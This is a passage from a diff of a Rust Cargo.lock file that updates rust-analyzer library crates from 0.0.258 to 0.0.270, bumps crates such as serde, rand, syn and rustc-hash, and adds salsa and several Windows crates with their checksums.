 [[package]]
 name = "ra-ap-rustc_index"
-version = "0.87.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ce5742f134960482f543b35ecebec3cacc6d79a9a685713518b4d8d70c5f9aa8"
+checksum = "62b295fc0640cd9fe0ecab872ee4a17a96f90a3998ec9f0c4765e9b8415c12cc"
 dependencies = [
  "ra-ap-rustc_index_macros",
  "smallvec",
@@ -1330,9 +1425,9 @@ dependencies = [
 
 [[package]]
 name = "ra-ap-rustc_index_macros"
-version = "0.87.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7ea011fcf68309a8835ad01d91c032cb18444617b00e2cab21d45b208164441"
+checksum = "c675f4257023aa933882906f13802cae287e88cc39ab13cbb96809083db0c801"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -1341,19 +1436,20 @@ dependencies = [
 
 [[package]]
 name = "ra-ap-rustc_lexer"
-version = "0.87.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb76f0a4d4c20859e41f0a23bff0f37ab9ca9171c214a6c7dd72ea69434865dc"
+checksum = "c8358702c2a510ea84ba5801ddc047d9ad9520902cfb0e6173277610cdce2c9c"
 dependencies = [
+ "memchr",
  "unicode-properties",
  "unicode-xid",
 ]
 
 [[package]]
 name = "ra-ap-rustc_parse_format"
-version = "0.87.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06080bd35078305421a62da77f3c128482d8d44441b6da8ce9d146d1cd9cdb5b"
+checksum = "b98f402011d46732c35c47bfd111dec0495747fef2ec900ddee7fe15d78449a7"
 dependencies = [
  "ra-ap-rustc_index",
  "ra-ap-rustc_lexer",
@@ -1361,12 +1457,12 @@ dependencies = [
 
 [[package]]
 name = "ra-ap-rustc_pattern_analysis"
-version = "0.87.0"
+version = "0.100.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68a3154fe4c20c177d7b3c678a2d3a97aba0cca156ddef88959915041889daf0"
+checksum = "bef3ff73fa4653252ffe1d1e9177a446f49ef46d97140e4816b7ff2dad59ed53"
 dependencies = [
  "ra-ap-rustc_index",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "rustc_apfloat",
  "smallvec",
  "tracing",
@@ -1374,20 +1470,22 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_base_db"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "548b95b278a8f6f888a0bb6cb7bf4201fe920d3800cd99770054e5eb72f3cd6a"
+checksum = "4baa9734d254af14fd603528ad594650dea601b1764492bd39988da38598ae67"
 dependencies = [
+ "dashmap 5.5.3",
  "la-arena",
  "lz4_flex",
  "ra_ap_cfg",
  "ra_ap_intern",
- "ra_ap_salsa",
+ "ra_ap_query-group-macro",
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_syntax",
  "ra_ap_vfs",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
+ "salsa",
  "semver",
  "tracing",
  "triomphe",
@@ -1395,30 +1493,31 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_cfg"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "921e2b0232d1e8352eb9f476bb55c1d8bcbed0531adc17c74aa711fef015c851"
+checksum = "0ef2ba45636c5e585040c0c4bee640737a6001b08309f1a25ca78cf04abfbf90"
 dependencies = [
  "ra_ap_intern",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "tracing",
 ]
 
 [[package]]
 name = "ra_ap_edition"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7cc6633305d878cafb4a4482e7e7002d1a5d7b15fa837728b6613ff5336f8a4"
+checksum = "8955c1484d5e7274f755187788ba0d51eb149f870c69cdf0d87c3b7edea20ea0"
 
 [[package]]
 name = "ra_ap_hir"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e3f6b31381a297e5bb4fa76108a2cf7bf8d35067a130f932aa6fdfb733ba3a1"
+checksum = "a51d7955beff2212701b149bea36d4cf2dc0f5cd129652c9bcf0cb5c0b021078"
 dependencies = [
  "arrayvec",
  "either",
+ "indexmap 2.7.0",
  "itertools 0.12.1",
  "ra_ap_base_db",
  "ra_ap_cfg",
@@ -1430,7 +1529,7 @@ dependencies = [
  "ra_ap_stdx",
  "ra_ap_syntax",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "smallvec",
  "tracing",
  "triomphe",
@@ -1438,14 +1537,14 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_hir_def"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "84144bdda7af170e660d312982889622f4a5361c1bb74df2afa2a6ce17d48644"
+checksum = "e5c97e617e4c585d24b3d4f668861452aedddfbe0262f4c53235dcea77e62f9b"
 dependencies = [
  "arrayvec",
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
  "cov-mark",
- "dashmap",
+ "dashmap 5.5.3",
  "drop_bomb",
  "either",
  "fst",
@@ -1454,19 +1553,21 @@ dependencies = [
  "itertools 0.12.1",
  "la-arena",
  "ra-ap-rustc_abi",
+ "ra-ap-rustc_hashes",
  "ra-ap-rustc_parse_format",
  "ra_ap_base_db",
  "ra_ap_cfg",
  "ra_ap_hir_expand",
  "ra_ap_intern",
- "ra_ap_limit",
  "ra_ap_mbe",
+ "ra_ap_query-group-macro",
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_syntax",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "rustc_apfloat",
+ "salsa",
  "smallvec",
  "text-size",
  "tracing",
@@ -1475,9 +1576,9 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_hir_expand"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "441661b394acfa4f3ac4cb54386f8ee8b451504ec167b0bf0e4200da1bbca50d"
+checksum = "be57c0d7e3f2180dd8ea584b11447f34060eadc06f0f6d559e2a790f6e91b6c5"
 dependencies = [
  "cov-mark",
  "either",
@@ -1487,15 +1588,16 @@ dependencies = [
  "ra_ap_base_db",
  "ra_ap_cfg",
  "ra_ap_intern",
- "ra_ap_limit",
  "ra_ap_mbe",
  "ra_ap_parser",
+ "ra_ap_query-group-macro",
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_syntax",
  "ra_ap_syntax-bridge",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
+ "salsa",
  "smallvec",
  "tracing",
  "triomphe",
@@ -1503,17 +1605,18 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_hir_ty"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6feea30dff289f33a8ed76172ff4cb299db22d224f88735aa2c7f49ba1e5e77f"
+checksum = "f260f35748f3035b46a8afcdebda7cb75d95c24750105fad86101d09a9d387c8"
 dependencies = [
  "arrayvec",
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
  "chalk-derive",
  "chalk-ir",
  "chalk-recursive",
  "chalk-solve",
  "cov-mark",
+ "dashmap 5.5.3",
  "either",
  "ena",
  "indexmap 2.7.0",
@@ -1528,12 +1631,13 @@ dependencies = [
  "ra_ap_hir_def",
  "ra_ap_hir_expand",
  "ra_ap_intern",
- "ra_ap_limit",
+ "ra_ap_query-group-macro",
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_syntax",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "rustc_apfloat",
+ "salsa",
  "scoped-tls",
  "smallvec",
  "tracing",
@@ -1543,14 +1647,15 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_ide_db"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e33bd5a0139b6c74d34ed963494115abe3f9c95cf5936871ab3d9b548ccbbdf"
+checksum = "0426263be26e27cb55a3b9ef88b120511b66fe7d9b418a2473d6d5f3ac2fe0a6"
 dependencies = [
  "arrayvec",
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
  "cov-mark",
  "crossbeam-channel",
+ "dashmap 5.5.3",
  "either",
  "fst",
  "indexmap 2.7.0",
@@ -1560,42 +1665,37 @@ dependencies = [
  "nohash-hasher",
  "ra_ap_base_db",
  "ra_ap_hir",
- "ra_ap_limit",
  "ra_ap_parser",
  "ra_ap_profile",
+ "ra_ap_query-group-macro",
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_syntax",
+ "ra_ap_vfs",
  "rayon",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
+ "salsa",
  "tracing",
  "triomphe",
 ]
 
 [[package]]
 name = "ra_ap_intern"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "faa7ee24ae9bf4d2536ef7fb6de35f30856edbf7b3d6ac02e5a2532118896569"
+checksum = "f6ea8c9615b3b0688cf557e7310dbd9432f43860c8ea766d54f4416cbecf3571"
 dependencies = [
- "dashmap",
+ "dashmap 5.5.3",
  "hashbrown 0.14.5",
- "rustc-hash 2.1.0",
- "sptr",
+ "rustc-hash 2.1.1",
  "triomphe",
 ]
 
-[[package]]
-name = "ra_ap_limit"
-version = "0.0.258"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90d8a2aecbd488cf79b430bd5abe6650da44ae58b31cd6052c909dbd3f5d5926"
-
 [[package]]
 name = "ra_ap_load-cargo"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e2372aadd32e85460de595891c8b3562126166bc94fdc24508d6784c9d93357"
+checksum = "570907e16725c13a678bfd8050ce8839af2831da042a0878b75ee8c41b0f7b0c"
 dependencies = [
  "anyhow",
  "crossbeam-channel",
@@ -1615,9 +1715,9 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_mbe"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf69ba82adb6e436617ecd09c0ff58006f376060dff437eb9fd383c2983f6d01"
+checksum = "e893fe03b04b30c9b5a339ac2bf39ce32ac9c05a8b50121b7d89ce658346e164"
 dependencies = [
  "arrayvec",
  "cov-mark",
@@ -1629,38 +1729,37 @@ dependencies = [
  "ra_ap_syntax",
  "ra_ap_syntax-bridge",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "smallvec",
  "tracing",
 ]
 
 [[package]]
 name = "ra_ap_parser"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f499b6c33a588d60ed9722d057954a21ec01913b97a5693ff40ba4828ffa7b9"
+checksum = "6fd9a264120968b14a66b6ba756cd7f99435385b5dbc2f0a611cf3a12221c385"
 dependencies = [
  "drop_bomb",
  "ra-ap-rustc_lexer",
  "ra_ap_edition",
- "ra_ap_limit",
  "tracing",
 ]
 
 [[package]]
 name = "ra_ap_paths"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5a16df131fa641a4af4d9488152b7b332a6a30e93bc655fdbe88f555ba28825"
+checksum = "f47817351651e36b56ff3afc483b41600053c9cb7e67d945467c0abe93416032"
 dependencies = [
  "camino",
 ]
 
 [[package]]
 name = "ra_ap_proc_macro_api"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3480e0d07197ebcc2db5836b0c39625e07b0d77c6471a2a748e5bdf54ce556e3"
+checksum = "d96da3b8b9f6b813a98f5357eef303905450741f47ba90adaab8a5371b748416"
 dependencies = [
  "indexmap 2.7.0",
  "ra_ap_intern",
@@ -1668,7 +1767,7 @@ dependencies = [
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "serde",
  "serde_derive",
  "serde_json",
@@ -1677,21 +1776,21 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_profile"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95b707dd9c92139030587d81b3333428f48af8f4728330ed12101ab0bb431d72"
+checksum = "13637377287c84f88a628e40229d271ef0081c0d683956bd99a6c8278a4f8b14"
 dependencies = [
  "cfg-if",
  "libc",
  "perf-event",
- "windows-sys 0.52.0",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "ra_ap_project_model"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "551a0de5a16f0538fbaf401a319d81d1a034f7aa014e46ac87c5bd74229a211b"
+checksum = "053c5207a638fc7a752c7a454bc952b28b0d02f0bf9f6d7ec785ec809579d8fa"
 dependencies = [
  "anyhow",
  "cargo_metadata",
@@ -1704,7 +1803,7 @@ dependencies = [
  "ra_ap_span",
  "ra_ap_stdx",
  "ra_ap_toolchain",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "semver",
  "serde",
  "serde_derive",
@@ -1714,71 +1813,54 @@ dependencies = [
 ]
 
 [[package]]
-name = "ra_ap_salsa"
-version = "0.0.258"
+name = "ra_ap_query-group-macro"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ec0c82d9e5affbf7d582750b301d279589787a5ac729f95756f5a0b0bf2b4a4"
+checksum = "0f1a38f07b442e47a234cbe2e8fd1b8a41ff0cc5123cb1cf994c5ce20edb5bd6"
 dependencies = [
- "indexmap 2.7.0",
- "itertools 0.12.1",
- "lock_api",
- "oorandom",
- "parking_lot",
- "ra_ap_salsa-macros",
- "rustc-hash 2.1.0",
- "smallvec",
- "tracing",
- "triomphe",
-]
-
-[[package]]
-name = "ra_ap_salsa-macros"
-version = "0.0.258"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8440192eb549dda1cdefc95eaa1fc42ad13cfbd303add757517d77c81e7dc2e1"
-dependencies = [
- "heck 0.4.1",
+ "heck",
  "proc-macro2",
  "quote",
+ "salsa",
  "syn",
 ]
 
 [[package]]
 name = "ra_ap_span"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "18690685d10da2577d7821d46c0de5a884bf1755e59635cbb1a795451e2a4acc"
+checksum = "8818680c6f7da3b32cb2bb0992940b24264b1aa90203aa94812e09ab34d362d1"
 dependencies = [
  "hashbrown 0.14.5",
  "la-arena",
- "ra_ap_salsa",
  "ra_ap_stdx",
  "ra_ap_syntax",
  "ra_ap_vfs",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
+ "salsa",
  "text-size",
 ]
 
 [[package]]
 name = "ra_ap_stdx"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4016934faae8413b4ad3f1bf063c7ffccdcfdf3f67ff32f4a79a197a3c1cb0da"
+checksum = "f1c10bee1b03fc48083862c13cf06bd3ed17760463ecce2734103a2f511e5ed4"
 dependencies = [
- "always-assert",
  "crossbeam-channel",
  "itertools 0.12.1",
  "jod-thread",
  "libc",
  "miow",
- "windows-sys 0.52.0",
+ "tracing",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "ra_ap_syntax"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8e381d21d166d12b11906171f82382473d60abfead0c4acc6d7d07150f87f73"
+checksum = "92bc32f3946fc5fcbdc79e61b7e26a8c2a3a56f3ef6ab27c7d298a9e21a462f2"
 dependencies = [
  "cov-mark",
  "either",
@@ -1788,7 +1870,7 @@ dependencies = [
  "ra_ap_parser",
  "ra_ap_stdx",
  "rowan",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "smol_str",
  "tracing",
  "triomphe",
@@ -1796,9 +1878,9 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_syntax-bridge"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "65f1960218acd2ed8e486e7bd24f80a7eb89591906c6b0831296b2a75c556b2f"
+checksum = "a42052c44c98c122c37aac476260c8f19d8fec495edc9c05835307c9ae86194d"
 dependencies = [
  "ra_ap_intern",
  "ra_ap_parser",
@@ -1806,15 +1888,15 @@ dependencies = [
  "ra_ap_stdx",
  "ra_ap_syntax",
  "ra_ap_tt",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "tracing",
 ]
 
 [[package]]
 name = "ra_ap_toolchain"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c9195f69ff02f076f5a726c7fbafa2b4639d00235906cb44e52ca75cd8b33c30"
+checksum = "75996e70b3a0c68cd5157ba01f018964c7c6a5d7b209047d449b393139d0b57f"
 dependencies = [
  "camino",
  "home",
@@ -1822,9 +1904,9 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_tt"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ac261d79d3ec475a1f3b2a758d3e466f2b9d7d883fb72239b06979bf6880018"
+checksum = "0e4ee31e93bfabe83e6720b7469db88d7ad7ec5c59a1f011efec4aa1327ffc5c"
 dependencies = [
  "arrayvec",
  "ra-ap-rustc_lexer",
@@ -1835,9 +1917,9 @@ dependencies = [
 
 [[package]]
 name = "ra_ap_vfs"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee35a171beccbb01b4ede1d9ad91dee487a3742d7cc39efd7aed6961027cbe78"
+checksum = "f6aac1e277ac70bb073f40f8a3fc44e4b1bb9e4d4b1d0e0bd2f8269543560f80"
 dependencies = [
  "crossbeam-channel",
  "fst",
@@ -1845,15 +1927,15 @@ dependencies = [
  "nohash-hasher",
  "ra_ap_paths",
  "ra_ap_stdx",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "tracing",
 ]
 
 [[package]]
 name = "ra_ap_vfs-notify"
-version = "0.0.258"
+version = "0.0.270"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b234b7651eb5d61f18d4f4643590bb8b1fd59ef766a1059741c09c540ec8cd86"
+checksum = "cd95285146049621ee8f7a512c982a008bf036321fcc9b01a95c1ad7e6aeae57"
 dependencies = [
  "crossbeam-channel",
  "notify",
@@ -1861,27 +1943,27 @@ dependencies = [
  "ra_ap_stdx",
  "ra_ap_vfs",
  "rayon",
- "rustc-hash 2.1.0",
+ "rustc-hash 2.1.1",
  "tracing",
  "walkdir",
 ]
 
 [[package]]
 name = "rand"
-version = "0.8.5"
+version = "0.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+checksum = "3779b94aeb87e8bd4e834cee3650289ee9e0d5677f976ecdb6d219e5f4f6cd94"
 dependencies = [
- "libc",
  "rand_chacha",
  "rand_core",
+ "zerocopy 0.8.20",
 ]
 
 [[package]]
 name = "rand_chacha"
-version = "0.3.1"
+version = "0.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb"
 dependencies = [
  "ppv-lite86",
  "rand_core",
@@ -1889,11 +1971,12 @@ dependencies = [
 
 [[package]]
 name = "rand_core"
-version = "0.6.4"
+version = "0.9.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+checksum = "7a509b1a2ffbe92afab0e55c8fd99dea1c280e8171bd2d88682bb20bc41cbc2c"
 dependencies = [
  "getrandom",
+ "zerocopy 0.8.20",
 ]
 
 [[package]]
@@ -1922,7 +2005,7 @@ version = "0.5.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "03a862b389f93e68874fbf580b9de08dd02facb9a788ebadaf4a3fd33cf58834"
 dependencies = [
- "bitflags 2.7.0",
+ "bitflags 2.8.0",
 ]
 
 [[package]]
@@ -1998,9 +2081,15 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
 
 [[package]]
 name = "rustc-hash"
-version = "2.1.0"
+version = "2.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c7fb8039b3032c191086b10f11f319a6e99e1e82889c5cc6046f515c9db1d497"
+checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
+
+[[package]]
+name = "rustc-stable-hash"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2febf9acc5ee5e99d1ad0afcdbccc02d87aa3f857a1f01f825b80eacf8edfcd1"
 
 [[package]]
 name = "rustc_apfloat"
@@ -2011,11 +2100,58 @@ dependencies = [
  "smallvec",
 ]
 
+[[package]]
+name = "rustversion"
+version = "1.0.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2"
+
 [[package]]
 name = "ryu"
-version = "1.0.18"
+version = "1.0.19"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6ea1a2d0a644769cc99faa24c3ad26b379b786fe7c36fd3c546254801650e6dd"
+
+[[package]]
+name = "salsa"
+version = "0.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dd55c6549513b2a42884dae31e3d4f4ac8a6cc51062e68e24d162133889f327c"
+dependencies = [
+ "boxcar",
+ "crossbeam-queue",
+ "dashmap 6.1.0",
+ "hashbrown 0.15.2",
+ "hashlink",
+ "indexmap 2.7.0",
+ "parking_lot",
+ "portable-atomic",
+ "rayon",
+ "rustc-hash 2.1.1",
+ "salsa-macro-rules",
+ "salsa-macros",
+ "smallvec",
+ "tracing",
+]
+
+[[package]]
+name = "salsa-macro-rules"
+version = "0.19.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
+checksum = "2619b4b451beab0a7e4364ff1e6f31950e7e418888fd9bf2f28889671563166a"
+
+[[package]]
+name = "salsa-macros"
+version = "0.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4be57a99b3896e8d26850428a6874fb86849e2db874e1db3528e5cee4337d277"
+dependencies = [
+ "heck",
+ "proc-macro2",
+ "quote",
+ "syn",
+ "synstructure",
+]
 
 [[package]]
 name = "same-file"
@@ -2049,18 +2185,18 @@ dependencies = [
 
 [[package]]
 name = "serde"
-version = "1.0.217"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
 dependencies = [
  "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.217"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -2069,9 +2205,9 @@ dependencies = [
 
 [[package]]
 name = "serde_json"
-version = "1.0.135"
+version = "1.0.140"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b0d7ba2887406110130a978386c4e1befb98c674b4fba677954e4db976630d9"
+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
 dependencies = [
  "itoa",
  "memchr",
@@ -2148,9 +2284,9 @@ checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
 
 [[package]]
 name = "smallvec"
-version = "1.13.2"
+version = "1.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
+checksum = "7fcf8323ef1faaee30a44a340193b1ac6814fd9b7b4e88e9d4519a3e4abe1cfd"
 
 [[package]]
 name = "smol_str"
@@ -2162,12 +2298,6 @@ dependencies = [
  "serde",
 ]
 
-[[package]]
-name = "sptr"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b9b39299b249ad65f3b7e96443bad61c02ca5cd3589f46cb6d610a0fd6c0d6a"
-
 [[package]]
 name = "stable_deref_trait"
 version = "1.2.0"
@@ -2188,9 +2318,9 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
 
 [[package]]
 name = "syn"
-version = "2.0.96"
+version = "2.0.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5d0adab1ae378d7f53bdebc67a39f1f151407ef230f0ce2883572f5d8985c80"
+checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -2277,9 +2407,9 @@ dependencies = [
 
 [[package]]
 name = "toml"
-version = "0.8.19"
+version = "0.8.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1ed1f98e3fdc28d6d910e6737ae6ab1a93bf1985935a1193e68f93eeb68d24e"
+checksum = "cd87a5cdd6ffab733b2f74bc4fd7ee5fff6634124999ac278c35fc78c6120148"
 dependencies = [
  "serde",
  "serde_spanned",
@@ -2298,9 +2428,9 @@ dependencies = [
 
 [[package]]
 name = "toml_edit"
-version = "0.22.22"
+version = "0.22.24"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ae48d6208a266e853d946088ed816055e556cc6028c5e8e2b84d9fa5dd7c7f5"
+checksum = "17b4795ff5edd201c7cd6dca065ae59972ce77d1b80fa0a84d94950ece7d1474"
 dependencies = [
  "indexmap 2.7.0",
  "serde",
@@ -2358,7 +2488,7 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
 dependencies = [
- "log 0.4.22",
+ "log 0.4.25",
  "once_cell",
  "tracing-core",
 ]
@@ -2473,9 +2603,9 @@ checksum = "a3e5df347f0bf3ec1d670aad6ca5c6a1859cd9ea61d2113125794654ccced68f"
 
 [[package]]
 name = "unicode-ident"
-version = "1.0.14"
+version = "1.0.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "adb9e6ca4f869e1180728b7950e35922a7fc6397f7b641499e8f3ef06e50dc83"
+checksum = "a210d160f08b701c8721ba1c726c11662f877ea6b7094007e1ca9a1041945034"
 
 [[package]]
 name = "unicode-properties"
@@ -2529,6 +2659,15 @@ version = "0.11.0+wasi-snapshot-preview1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
 
+[[package]]
+name = "wasi"
+version = "0.13.3+wasi-0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26816d2e1a4a36a2940b96c5296ce403917633dff8f3440e9b236ed6f6bacad2"
+dependencies = [
+ "wit-bindgen-rt",
+]
+
 [[package]]
 name = "wasm-bindgen"
 version = "0.2.99"
@@ -2547,7 +2686,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "5f89bb38646b4f81674e8f5c3fb81b562be1fd936d84320f3264486418519c79"
 dependencies = [
  "bumpalo",
- "log 0.4.22",
+ "log 0.4.25",
  "proc-macro2",
  "quote",
  "syn",
@@ -2614,6 +2753,16 @@ version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
+[[package]]
+name = "windows"
+version = "0.58.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6"
+dependencies = [
+ "windows-core 0.58.0",
+ "windows-targets 0.52.6",
+]
+
 [[package]]
 name = "windows-core"
 version = "0.52.0"
@@ -2623,6 +2772,66 @@ dependencies = [
  "windows-targets 0.52.6",
 ]
 
+[[package]]
+name = "windows-core"
+version = "0.58.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99"
+dependencies = [
+ "windows-implement",
+ "windows-interface",
+ "windows-result",
+ "windows-strings",
+ "windows-targets 0.52.6",
+]
+
+[[package]]
+name = "windows-implement"
+version = "0.58.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b"
+dependencies = [
